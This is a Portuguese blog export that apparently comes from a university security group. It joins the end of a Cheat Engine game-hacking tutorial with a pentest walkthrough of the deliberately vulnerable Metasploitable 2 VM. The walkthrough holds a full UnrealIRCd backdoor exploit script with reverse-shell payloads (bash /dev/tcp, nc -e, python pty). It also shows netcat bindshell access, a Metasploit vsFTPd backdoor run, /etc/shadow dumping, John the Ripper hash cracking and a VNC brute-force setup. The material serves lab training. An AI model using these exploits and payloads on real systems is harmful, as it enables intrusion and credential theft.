Se tudo ocorrer corretamente, deve estar mostrando o valor atual da variável ao lado do campo Address, como na imagem a seguir:\nSalve e veja que conseguimos modificar o valor diretamente pelo ponteiro. Para finalizar, mude o valor para 5000, congele o ponteiro selecionando a caixa Active como a imagem abaixo e clique no botão Change Pointer do tutorial.\nEtapa 7: Injeção de Código Injeção de código é uma técnica de forçar o programa a executar seu código em vez do original, geralmente feito substituindo uma instrução por uma instrução jmp para parte de seu código. Neste caso, desejamos que uma parte do código que retira 1 de vida ao apertar o botão aumente 2 de vida ao invés disso. O primeiro passo é encontrar a instrução que faz esta redução.\nApós encontrar o endereço da variável pelo escaneamento Exact Value, clique na opção Find out what writes to this Address e clique novamente no botão Hit me. Com isso achamos a instrução:\nCom a instrução selecionada, clique em Show disassembler e, mantendo a instrução selecionada nesta janela, precione as teclas Ctrl+A para abrir o Auto-Assembler. Utilize o template de Injeção de Código no Auto-Assembler:\nTemos o seguinte código na janela agora:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 alloc(newmem,2048,\u0026#34;Tutorial-x86_64.exe\u0026#34;+2DB57) label(returnhere) label(originalcode) label(exit) newmem: //this is allocated memory, you have read,write,execute access //place your code here originalcode: sub dword ptr [rsi+000007E0],01 exit: jmp returnhere \u0026#34;Tutorial-x86_64.exe\u0026#34;+2DB57: jmp newmem nop 2 returnhere: O fluxo do código segue:\n\u0026quot;Tutorial-x86_64.exe\u0026quot;+2DB57 (Posição original do código anterior) -\u0026gt; newmem -\u0026gt; originalcode -\u0026gt; exit.\rChamo a atenção para o fato de que o código original ainda será executado se nada fizermos. Podemos somar 3 para que +3 -1 = +2, mas também podemos só pular a execução do código original:\n1 2 3 4 5 6 7 8 9 10 newmem: //this is allocated memory, you have read,write,execute access //place your code here add dword ptr [rsi+000007E0],02 jmp exit originalcode: sub dword ptr [rsi+000007E0],01 exit: jmp returnhere Agora só falta aplicar a injeção. Clique no botão Execute e teste se funcionou apertando o botão Hit me.\nEtapa 8: Ponteiros para Ponteiros para Ponteiros para\u0026hellip; Nada impede que o endereço apontado por um Ponteiro seja de outro Ponteiro. Na verdade, isso é bem comum. Para chegarmos à base da sequência, teremos que repetir o passo-a-passo da etapa 6 até não conseguirmos mais, possivelmente chegando em um endereço estático.\nDepois de achar o endereço do valor pelo escaneamento de valor exato, analizamos quais instruções acessam tal valor:\nDiferentemente da etapa 6, vemos agora que a instrução acessa nosso valor com um offset de 18 (hexadecimal) no endereço do ponteiro. Portanto, para achar o endereço do ponteiro, temos entender que o valor no ponteiro vai ser 18 menos que o endereço da variável, ou o valor em rsi (LEMBRANDO: os valores vistos dentro dos registradores são os DEPOIS da instrução ser executada. Se a instrução modificar o registrador de interesse, o valor dentro NÃO é confiável).\nProcurando pela memória o valor contido no ponteiro, encontramos seu endereço:\nVamos adicionar o ponteiro na lista de endereços salvos, pelo método manual. Copiando o endereço do ponteiro e marcando a caixa Pointer, temos que adicionar o offset da instrução. Se tudo estiver correto, o valor ao lado do campo Address deve ser igual ao valor da variável:\nSalvando este ponteiro, deve ficar da forma apresentada na imagem abaixo. Se modificar pelo ponteiro, deve modificar a variável também.\nO tutorial nos dá a informação de que a cadeia de ponteiros tem 4 ponteiros, então temos que repetir mais 3 vezes o passo-a-passo. Para não ficar repetindo, será mostrado as janelas de adicionar endereço para cada um dos ponteiros seguintes:\nVeja que os offsets de cada etapa são diferentes. Aperte Add Offset para adicionar mais campos de offset, informando que este ponteiro aponta para mais um ponteiro, a fim de chegar no valor desejado.\nVemos a seguir que o endereço do quarto ponteiro está em verde e tem outro formato. Significa que este endereço é estático e permanecerá igual mesmo reiniciando o programa.\nEsta é o último endereço que precisamos salvar. Se tudo estiver certo, ele ainda deve apontar para o valor desejado. Se sim, mude-o para 5000, congele o ponteiro e clique em Change Pointer.\nEtapa 9: Código compartilhado e Structures Estamos chegando no fim deste tutorial. Falamos na etapa 5 e 7 sobre manipular código, mas uma instrução pode mudar vários endereços além do desejado. Por exemplo, uma mesma função pode ser chamada para reduzir a vida tando do jogador quanto para inimigos. Logo, se retirarmos esta funcionalidade os inimigos se tornam imortais!\nO que queremos, então, é uma forma de direfenciar quando a instrução trata da vida dos aliados e quando trata dos inimigos. É esperado que as variáveis de cada jogador sigam um molde na memória, aliados ou inimigos, que é chamado de estruturas. Nesta etapa, vamos analisar a existência e conteúdos das estruturas de cada jogador, a fim de analisar as diferenças entre times.\nComeçamos achando o endereço da vida de Dave, por escaneamento de valor exato (tipo Float). Descobrindo quais instruções modificam este endereço, descobrimos que existe um ponteiro que com offset 8 acessa a vida de Dave. Para achar a vida dos outros jogadores, vamos tomar proveito que este código é compartilhado e achar todos os endereços que esta intrução acessa:\nReduza a vida de todos os jogadores. Os endereços listados serão as vidas de todos os jogadores, na ordem que a vida foi reduzida:\nAdicione todos estes endereços na lista de endereços salvos e nomeie cada um para diferenciar. Agora vamos analizar a área da memória da estrutura. Sabemos o endereço base das estruturas, sendo os endereços das vidas menos o Offset, 8 em hexadecimal. Clique em Memory View, no lado esquerdo acima da lista de endereços salvos. Na nova janela, vá em Tools-\u0026gt;Dissect data/structures:\nAntes de determinar a estrutura, recomendo separar os esdereços base em dois grupos de dois endereços, para facilitar a comparação. Clique em File-\u0026gt;Add extra address para adicionar novos endereços em um grupo e File-\u0026gt;Add new group para adicionar um novo grupo.\nClique em Structures-\u0026gt;Define new structure e, com o campo Guess Field Types marcado, aperte Ok. O Cheat Engine vai fazer o possível para entender qual o tipo de cada endereço de memória, ele pode errar. Por exemplo, o Cheat Engine nos deu esta estrutura:\nVemos alguns endereços que sabemos de cara o que é. No offset 08, temos a vida, como esperado. Além disso, temos os nomes de cada jogador no offset 19. Podemos até supor que o offset 18 tem relação com o tamanho dos nomes, já que bate com os quatro casos. Mas não tem nada muito óbvio que nos diz qual \u0026ldquo;Time\u0026rdquo; cada jogador faz parte.\nVemos no offset 58 um ponteiro, que abrindo vemos que aponta para a estrutura do aliado. Temos um loop de ponteiros, então. Por curiosidade, fui abrindo cada ponteiro deste offset e vemos algo interessante:\nUma nova interpretação da estrutura! E com um offset 14 que para aliados é 1 e para inimigos 2. É bem possível que você tenha recebido esta versão ao fazer em casa, mas isso exempla o fato de que o Cheat Engine pode errar ao assumir tipos à endereços, e deve ser levado em conta. É a mesma estrutura, podemos ver este valor na primeira interpretação no ponteiro no offset 10, no formato P-\u0026gt;1XXXXXXX para aliados e P-\u0026gt;2XXXXXXX para inimigos.\nIrei tomar a segunda interpretação como a mais válida. No final, a estrutura fica desta forma:\nCom um offset que determina times, agora só precisamos fazer uma injeção de código que compara este offset para determinar se é para reduzir a vida ou não. Novamente descubra qual instrução escreve em uma das vidas e, com ela selecionada, aperte Show Dissasembler. Com a instrução ainda selecionada na nova janela, pressione Ctrl+A para abrir o Auto-Assemble, use o template de Code Injection e escreva o código a seguir:\nA etapa está feita! Teste se o código está fazendo efeito e clique em Restart game and autoplay.\nCom isso, terminamos o tutorial.\nFechamento Agradeço muito pela sua atenção e espero que lhe tenha inspirado a se aprofundar mais na área de Game Hacking e Engenharia Reversa. Recomendo ver mais posts no Blog do GRIS sobre as áreas, eles devem te esninar ainda mais sobre, só clicar nas Tags.\nVale a pena lembrar que foi ensinado o básico de Cheat Engine, para jogos SEM ANTI-CHEAT. Seja responsável e use estas ferramentas por sua conta e risco.\nReferências https://wiki.cheatengine.org/index.php?title=Tutorials:Cheat_Engine_Tutorial_Guide_x64#Pointer_Scan\rhttps://wiki.cheatengine.org/index.php?title=Tutorials:Videos\rhttps://www.youtube.com/watch?v=Nib69uZJCaA\u0026amp;t=31s\rhttps://www.youtube.com/watch?v=yjdSxL2DWfE\r","permalink":"http://grisufrj.github.io/blog/2024-08-11-tutorial-game-hacking-cheat-engine/","summary":"Abordaremos neste artigo sobre os princípios fundamentais sobre Game Hacking, ensinando como utilizar o Cheat Engine, um programa clássico para mudar aspectos de um jogo a seu favor.\nSobre Processos Antes de tudo, é bom deixar bem definido sobre o que é um jogo para o computador. Ao abrirmos qualquer programa executável, o sistema operacional cria um novo processo para rodar este programa. Um Processo é, portanto, uma tarefa em execução no computador.","title":"Tutorial de Game Hacking utilizando Cheat Engine"},{"content":"Introdução Neste post, vamos abordar como identificar e explorar algumas vulnerabilidades comuns encontradas na máquina vulnerável Metasploitable 2, utilizando ferramentas e métodos que são amplamente aplicáveis em cenários reais.\nO que é o Metasploitable 2? Metasploitable 2 é uma máquina virtual intencionalmente vulnerável, desenvolvida pela Rapid7, projetada para ser uma plataforma de prática para profissionais e entusiastas de segurança cibernética. Ela simula um ambiente de rede com várias vulnerabilidades conhecidas, permitindo que os usuários testem e aprimorem suas habilidades em pentest sem comprometer sistemas reais.\nEssa máquina contém diversos serviços mal configurados e softwares desatualizados, representando um campo de treino ideal para aprender a identificar e explorar falhas de segurança de forma controlada.\nFigura 1: Metasploitable 2 sendo executado em uma Máquina Virtual.\nUm guia para a instalação do ambiente do Metasploitable 2 pode ser encontrado aqui.\nExploração inicial: Enumeração de portas A exploração inicial de qualquer sistema vulnerável começa com a enumeração de portas, uma etapa essencial para identificar quais serviços estão em execução e, potencialmente, vulneráveis. Para isso, utilizamos o Nmap (Network Mapper), uma ferramenta poderosa e amplamente utilizada em testes de penetração. O Nmap permite mapear a rede e descobrir portas abertas, além de coletar informações detalhadas sobre os serviços, versões e sistemas operacionais em execução.\nEssas informações são cruciais para planejar as etapas subsequentes da exploração, pois ajudam a direcionar os esforços para vulnerabilidades específicas que podem ser exploradas com sucesso.\nFigura 2: O comando Nmap é usado para descobrir quais serviços estão rodando em quais portas no IP da máquina vulnerável.\nPodemos ver diversas portas abertas, cada uma com um serviço diferente que pode ou não ser vulnerável. Neste post, não abordaremos todas as vulnerabilidades, mas podemos imediatemente abordar algumas que nos saltam aos olhos.\nBindshell A porta 1524 aberta na Metasploitable 2 representa uma vulnerabilidade crítica, conhecida como \u0026ldquo;bindshell\u0026rdquo;. Essa vulnerabilidade ocorre quando um shell é vinculado diretamente a uma porta, permitindo que qualquer atacante que se conecte a essa porta obtenha acesso ao sistema com privilégios elevados, sem a necessidade de autenticação.\nPodemos explorá-la utilizando o comando nc (netcat) para conectar ao IP da máquina na porta 1524.\nFigura 3: O netcat é usado para se conectar ao IP da máquina vulnerável na porta 1524. O comando whoami mostra que nós de fato estamos executando código na máquina vulnerável como o usuário raiz (root).\nvsFTPd Ao tentar se conectar ao serviço FTP na porta 21, podemos ver que ela está vinculada ao vsFTPd versão 2.3.4. Uma busca rápida no Google nos mostra que este serviço está sujeito a uma vulnerabilidade de backdoor (CVE-2011-2523).\nAo tentar logar com um nome de usuário finalizado em \u0026ldquo;:)\u0026rdquo;, sem aspas, um shell é criado e passa a ser servido na porta 6200 com privilégios de administrador.\nFigura 4: Ao tentar se logar com o usuário terminado em :), a autenticação parece falhar. No entanto\u0026hellip;\nFigura 5: Conseguimos nos conectar na porta 6200, muito similar à vulnerabilidade do bindshell vista anteriormente.\nUnrealIRCd O serviço de IRC na porta 6667 é o UnrealIRCd versão 3.2.8.1. Isso pode ser checado com um script do Nmap para obter informações de serviços IRC.\nFigura 6: Os scripts do Nmap podem nos ajudar a receber informações de serviços que seriam difíceis de conseguir de outras formas.\nAo pesquisar por esta versão, é possível novamente confirmar que ela é sujeita a uma vulnerabilidade backdoor como descrita no CVE-2010-2075, que permite injeção de comando na máquina vulnerável. No entanto, esta vulnerabilidade é um pouco mais complexa que a última, então para explorar ela usamos o seguinte script:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 #!/usr/bin/python3 import argparse import socket import base64 # Sets the target ip and port from argparse parser = argparse.ArgumentParser() parser.add_argument(\u0026#39;ip\u0026#39;, help=\u0026#39;target ip\u0026#39;) parser.add_argument(\u0026#39;port\u0026#39;, help=\u0026#39;target port\u0026#39;, type=int) parser.add_argument(\u0026#39;-payload\u0026#39;, help=\u0026#39;set payload type\u0026#39;, required=True, choices=[\u0026#39;python\u0026#39;, \u0026#39;netcat\u0026#39;, \u0026#39;bash\u0026#39;]) args = parser.parse_args() # Sets the local ip and port (address and port to listen on) local_ip = \u0026#39;\u0026#39; # CHANGE THIS local_port = \u0026#39;\u0026#39; # CHANGE THIS # The different types of payloads that are supported python_payload = f\u0026#39;python -c \u0026#34;import os;import pty;import socket;tLnCwQLCel=\\\u0026#39;{local_ip}\\\u0026#39;;EvKOcV={local_port};QRRCCltJB=socket.socket(socket.AF_INET,socket.SOCK_STREAM);QRRCCltJB.connect((tLnCwQLCel,EvKOcV));os.dup2(QRRCCltJB.fileno(),0);os.dup2(QRRCCltJB.fileno(),1);os.dup2(QRRCCltJB.fileno(),2);os.putenv(\\\u0026#39;HISTFILE\\\u0026#39;,\\\u0026#39;/dev/null\\\u0026#39;);pty.spawn(\\\u0026#39;/bin/bash\\\u0026#39;);QRRCCltJB.close();\u0026#34; \u0026#39; bash_payload = f\u0026#39;bash -i \u0026gt;\u0026amp; /dev/tcp/{local_ip}/{local_port} 0\u0026gt;\u0026amp;1\u0026#39; netcat_payload = f\u0026#39;nc -e /bin/bash {local_ip} {local_port}\u0026#39; # our socket to interact with and send payload try: s = socket.create_connection((args.ip, args.port)) except socket.error as error: print(\u0026#39;connection to target failed...\u0026#39;) print(error) # craft out payload and then it gets base64 encoded def gen_payload(payload_type): base = base64.b64encode(payload_type.encode()) return f\u0026#39;echo {base.decode()} |base64 -d|/bin/bash\u0026#39; # all the different payload options to be sent if args.payload == \u0026#39;python\u0026#39;: try: s.sendall((f\u0026#39;AB; {gen_payload(python_payload)} \\n\u0026#39;).encode()) except: print(\u0026#39;connection made, but failed to send exploit...\u0026#39;) if args.payload == \u0026#39;netcat\u0026#39;: try: s.sendall((f\u0026#39;AB; {gen_payload(netcat_payload)} \\n\u0026#39;).encode()) except: print(\u0026#39;connection made, but failed to send exploit...\u0026#39;) if args.payload == \u0026#39;bash\u0026#39;: try: s.sendall((f\u0026#39;AB; {gen_payload(bash_payload)} \\n\u0026#39;).encode()) except: print(\u0026#39;connection made, but failed to send exploit...\u0026#39;) #check display any response from the server data = s.recv(1024) s.close() if data != \u0026#39;\u0026#39;: print(\u0026#39;Exploit sent successfully!\u0026#39;) Este script enviará para o IP da máquina vulnerável um comando para conectá-la à nossa na porta especificada (no caso, definimos no script como 7777). Para receber esse sinal, podemos usar o próprio netcat, usado anteriormente, para criar um servidor que escuta por requisições na nossa porta 7777.\nAo receber essa conexão, imediatamente temos acesso ao shell da máquina vulnerável, novamente como usuário root.\nFigura 7: O script se conecta à maquina vulnerável e a faz criar uma requisição para nossa porta 7777.\nFigura 8: Ao receber a requisição, nosso servidor passa para o modo interativo e conseguimos acesso ao shell remoto.\nIntrodução ao Metasploit: Explorando Serviços Vulneráveis Até o momento, utilizamos diversas ferramentas para mapear e interagir com os serviços ativos na máquina. Embora essas ferramentas individuais sejam poderosas, há um framework que consolida várias dessas capacidades em uma única plataforma: o Metasploit, que contém centenas de módulos para exploração de vulnerabilidades.\nA seguir, vamos explorar alguns módulos que lidam com servidores FTP vulneráveis para verificar se o serviço FTP que encontramos permite acesso anônimo, um vetor de ataque comum em sistemas mal configurados.\nAnonymous FTP Login Neste tutorial, usaremos o Metasploit para explorar uma vulnerabilidade conhecida em um servidor FTP e obter informações sobre as senhas dos usuários.\nPara começar, você precisa abrir o Metasploit. Se estiver usando o Kali Linux, o Metasploit já vem pré-instalado. Basta abrir um terminal e digitar o seguinte comando para iniciá-lo:\n1 └─$ msfconsole Se estiver usando outra distribuição Linux, você pode consultar a documentação do Metasploit no seguinte link: https://docs.metasploit.com/.\nO primeiro módulo que usaremos é o scanner/ftp/anonymous, que verifica se o servidor FTP permite acesso anônimo. Digite os seguintes comandos no prompt do Metasploit:\n1 └─$ msf6 \u0026gt; use auxiliary/scanner/ftp/anonymous Em seguida, configure o endereço IP do alvo.\nObservação: o IP da sua máquina Metasploitable 2 pode ser diferente deste abaixo. Para consultá-lo, entre em sua máquina virtual, digite o comando ip a no terminal e procure pelo endereço IP associado à interface eth0.\n1 2 msf6 auxiliary(scanner/ftp/anonymous) \u0026gt; set RHOSTS 192.168.1.30 RHOSTS =\u0026gt; 192.168.1.30 Agora, execute o scanner para verificar o acesso anônimo:\n1 2 3 4 5 msf6 auxiliary(scanner/ftp/anonymous) \u0026gt; run [+] 192.168.1.30:21 - 192.168.1.30:21 - Anonymous READ (220 (vsFTPd 2.3.4)) [*] 192.168.1.30:21 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed Veja que o FTP permite login anônimo. Podemos, usar um exploit específico para uma vulnerabilidade conhecida no vsFTPd 2.3.4 (Very Secure FTP Daemon): o vsftpd_234_backdoor. Este módulo explora a vulnerabilidade do vsFTPd 2.3.4 para obter uma shell interativa.\nPara isso, digite os seguintes comandos:\n1 2 3 msf6 auxiliary(scanner/ftp/anonymous) \u0026gt; use exploit/unix/ftp/vsftpd_234_backdoor [*] No payload configured, defaulting to cmd/unix/interact Configure o endereço IP do alvo e a porta (por padrão, o FTP usa a porta 21):\n1 2 3 4 5 msf6 exploit(unix/ftp/vsftpd_234_backdoor) \u0026gt; set RHOSTS 192.168.1.30 RHOSTS =\u0026gt; 192.168.1.30 msf6 exploit(unix/ftp/vsftpd_234_backdoor) \u0026gt; set RPORT 21 RPORT =\u0026gt; 21 Agora, execute o exploit:\n1 2 3 4 5 6 7 8 msf6 exploit(unix/ftp/vsftpd_234_backdoor) \u0026gt; run [*] 192.168.1.30:21 - Banner: 220 (vsFTPd 2.3.4) [*] 192.168.1.30:21 - USER: 331 Please specify the password. [+] 192.168.1.30:21 - Backdoor service has been spawned, handling... [+] 192.168.1.30:21 - UID: uid=0(root) gid=0(root) [*] Found shell. [*] Command shell session 2 opened (172.18.18.105:35943 -\u0026gt; 192.168.1.30:6200) at 2024-08-11 17:08:34 -0300 O exploit foi bem-sucedido. Agora, nós temos uma shell no sistema remoto como o usuário root e podemos explorar o sistema de arquivos do alvo. Por exemplo, veja o comando dir que lista as pastas do diretório atual (que é o /):\n1 2 3 4 5 dir bin dev initrd lost+found nohup.out root sys var boot etc initrd.img media opt sbin tmp vmlinuz cdrom home lib mnt proc srv usr Podemos também procurar e baixar arquivos sensíveis como /etc/passwd e /etc/shadow, que contêm informações sobre os usuários e suas senhas. Vamos listar o conteúdo desses arquivos com o comando GET:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 GET /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh dhcp:x:101:102::/nonexistent:/bin/false syslog:x:102:103::/home/syslog:/bin/false klog:x:103:104::/home/klog:/bin/false sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash bind:x:105:113::/var/cache/bind:/bin/false postfix:x:106:115::/var/spool/postfix:/bin/false ftp:x:107:65534::/home/ftp:/bin/false postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false distccd:x:111:65534::/:/bin/false user:x:1001:1001:just a user,111,,:/home/user:/bin/bash service:x:1002:1002:,,,:/home/service:/bin/bash telnetd:x:112:120::/nonexistent:/bin/false proftpd:x:113:65534::/var/run/proftpd:/bin/false statd:x:114:65534::/var/lib/nfs:/bin/false 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 GET /etc/shadow root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7::: daemon:*:14684:0:99999:7::: bin:*:14684:0:99999:7::: sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:14742:0:99999:7::: sync:*:14684:0:99999:7::: games:*:14684:0:99999:7::: man:*:14684:0:99999:7::: lp:*:14684:0:99999:7::: mail:*:14684:0:99999:7::: news:*:14684:0:99999:7::: uucp:*:14684:0:99999:7::: proxy:*:14684:0:99999:7::: www-data:*:14684:0:99999:7::: backup:*:14684:0:99999:7::: list:*:14684:0:99999:7::: irc:*:14684:0:99999:7::: gnats:*:14684:0:99999:7::: nobody:*:14684:0:99999:7::: libuuid:!:14684:0:99999:7::: dhcp:*:14684:0:99999:7::: syslog:*:14684:0:99999:7::: klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:14742:0:99999:7::: sshd:*:14684:0:99999:7::: msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:14684:0:99999:7::: bind:*:14685:0:99999:7::: postfix:*:14685:0:99999:7::: ftp:*:14685:0:99999:7::: postgres:$1$Rw35ik.x$MgQgZUuO5pAoUvfJhfcYe/:14685:0:99999:7::: mysql:!:14685:0:99999:7::: tomcat55:*:14691:0:99999:7::: distccd:*:14698:0:99999:7::: user:$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:14699:0:99999:7::: service:$1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//:14715:0:99999:7::: telnetd:*:14715:0:99999:7::: proftpd:!:14727:0:99999:7::: statd:*:15474:0:99999:7::: Em posse dessas informações, uma ideia seria utilizar o John the Ripper, uma ferramenta de cracking de senhas que pode processar e quebrar hashes de senhas. Ela tem a capacidade de unificar arquivos de senha e hash, como o /etc/passwd e /etc/shadow, e realizar ataques para descobrir as senhas originais.\nPara unificar esses arquivos e preparar o ambiente para quebrar as senhas, vamos baixar os arquivos e salvá-los em meu diretório local /tmp no Kali.\n1 2 3 download /etc/passwd /tmp/passwd [*] Download /etc/passwd =\u0026gt; /tmp/passwd [+] Done 1 2 3 download /etc/shadow /tmp/shadow [*] Download /etc/shadow =\u0026gt; /tmp/shadow [+] Done Vamos voltar para o terminal padrão do Kali.\n1 2 3 exit [*] 192.168.1.30 - Command shell session 2 closed. msf6 exploit(unix/ftp/vsftpd_234_backdoor) \u0026gt; 1 2 3 4 msf6 exploit(unix/ftp/vsftpd_234_backdoor) \u0026gt; exit ┌──(gbrods㉿Gabriel)-[~] └─$ Com os arquivos baixados, usamos o comando unshadow do John the Ripper para combinar os arquivos /etc/passwd e /etc/shadow em um único arquivo de hashes unshadowed.txt.\n1 └─$ unshadow /tmp/passwd /tmp/shadow \u0026gt; /tmp/unshadowed.txt O arquivo unificado fica desta forma:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 cat /tmp/unshadowed.txt root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:0:0:root:/root:/bin/bash daemon:*:1:1:daemon:/usr/sbin:/bin/sh bin:*:2:2:bin:/bin:/bin/sh sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:3:3:sys:/dev:/bin/sh sync:*:4:65534:sync:/bin:/bin/sync games:*:5:60:games:/usr/games:/bin/sh man:*:6:12:man:/var/cache/man:/bin/sh lp:*:7:7:lp:/var/spool/lpd:/bin/sh mail:*:8:8:mail:/var/mail:/bin/sh news:*:9:9:news:/var/spool/news:/bin/sh uucp:*:10:10:uucp:/var/spool/uucp:/bin/sh proxy:*:13:13:proxy:/bin:/bin/sh www-data:*:33:33:www-data:/var/www:/bin/sh backup:*:34:34:backup:/var/backups:/bin/sh list:*:38:38:Mailing List Manager:/var/list:/bin/sh irc:*:39:39:ircd:/var/run/ircd:/bin/sh gnats:*:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:*:65534:65534:nobody:/nonexistent:/bin/sh libuuid:!:100:101::/var/lib/libuuid:/bin/sh dhcp:*:101:102::/nonexistent:/bin/false syslog:*:102:103::/home/syslog:/bin/false klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:103:104::/home/klog:/bin/false sshd:*:104:65534::/var/run/sshd:/usr/sbin/nologin msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash bind:*:105:113::/var/cache/bind:/bin/false postfix:*:106:115::/var/spool/postfix:/bin/false ftp:*:107:65534::/home/ftp:/bin/false postgres:$1$Rw35ik.x$MgQgZUuO5pAoUvfJhfcYe/:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash mysql:!:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false tomcat55:*:110:65534::/usr/share/tomcat5.5:/bin/false distccd:*:111:65534::/:/bin/false user:$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:1001:1001:just a user,111,,:/home/user:/bin/bash service:$1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//:1002:1002:,,,:/home/service:/bin/bash telnetd:*:112:120::/nonexistent:/bin/false proftpd:!:113:65534::/var/run/proftpd:/bin/false statd:*:114:65534::/var/lib/nfs:/bin/false Finalmente, use o John the Ripper para quebrar as senhas no arquivo unificado. O formato de saída é: senha (usuário)\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 └─$ john /tmp/unshadowed.txt Warning: detected hash type \u0026#34;md5crypt\u0026#34;, but the string is also recognized as \u0026#34;md5crypt-long\u0026#34; Use the \u0026#34;--format=md5crypt-long\u0026#34; option to force loading these as that type instead Using default input encoding: UTF-8 Loaded 7 password hashes with 7 different salts (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3]) Will run 6 OpenMP threads Proceeding with single, rules:Single Press \u0026#39;q\u0026#39; or Ctrl-C to abort, almost any other key for status user (user) postgres (postgres) msfadmin (msfadmin) service (service) Almost done: Processing the remaining buffered candidate passwords, if any. Proceeding with wordlist:/usr/share/john/password.lst 123456789 (klog) batman (sys) Proceeding with incremental:ASCII ... Depois que o comando terminar, podemos exibir os resultados da seguinte forma:\n1 2 3 4 5 6 7 8 9 └─$ john --show /tmp/unshadowed.txt sys:batman:3:3:sys:/dev:/bin/sh klog:123456789:103:104::/home/klog:/bin/false msfadmin:msfadmin:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash postgres:postgres:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash user:user:1001:1001:just a user,111,,:/home/user:/bin/bash service:service:1002:1002:,,,:/home/service:/bin/bash 6 password hashes cracked, 1 left Ao utilizar a wordlist password.lst, não foram encontradas outras senhas além daquelas obtidas anteriormente.\nVNC (Virtual Network Computing) Relembrando da nossa enumeração inicial de portas, havia uma porta aberta referente ao serviço VNC. Veja:\n1 2 3 4 5 6 7 8 9 10 └─$ nmap -sV 192.168.1.30 -p 5900 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-11 18:52 -03 Nmap scan report for 192.168.1.30 Host is up (0.0017s latency). PORT STATE SERVICE VERSION 5900/tcp open vnc VNC (protocol 3.3) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 0.22 seconds Observação: a flag -sV habilita a detecção de serviço, retornando informações sobre suas versões.\nO VNC é um protocolo para controle remoto de desktops, e pode ser uma porta de entrada para obter acesso gráfico ao sistema. A seguir, vamos utilizar o Metasploit para tentar autenticar no serviço VNC.\n1 msfconsole Busque pelo módulo que testa credenciais de login para o VNC.\n1 2 3 4 5 6 7 8 msf6 \u0026gt; search vnc_login Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 auxiliary/scanner/vnc/vnc_login . normal No VNC Authentication Scanner Selecionamos o módulo para escaneamento de login do VNC.\n1 msf6 \u0026gt; use auxiliary/scanner/vnc/vnc_login Cada módulo do Metasploit possui campos obrigatórios e opcionais. Os campos obrigatórios são essenciais para a execução do módulo, enquanto os campos opcionais podem ser configurados para personalizar a execução ou otimizar o processo de exploração. Para ver esss campos, utilize o seguinte comando:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 msf6 auxiliary(scanner/vnc/vnc_login) \u0026gt; show options Module options (auxiliary/scanner/vnc/vnc_login): Name Current Setting Required Description ---- --------------- -------- ----------- ANONYMOUS_LOGIN false yes Attempt to login with a blank username and password BLANK_PASSWORDS false no Try blank passwords for all users BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5 DB_ALL_CREDS false no Try each user/password couple stored in the current da tabase DB_ALL_PASS false no Add all passwords in the current database to the list DB_ALL_USERS false no Add all users in the current database to the list DB_SKIP_EXISTING none no Skip existing credentials stored in the current databa se (Accepted: none, user, user\u0026amp;realm) 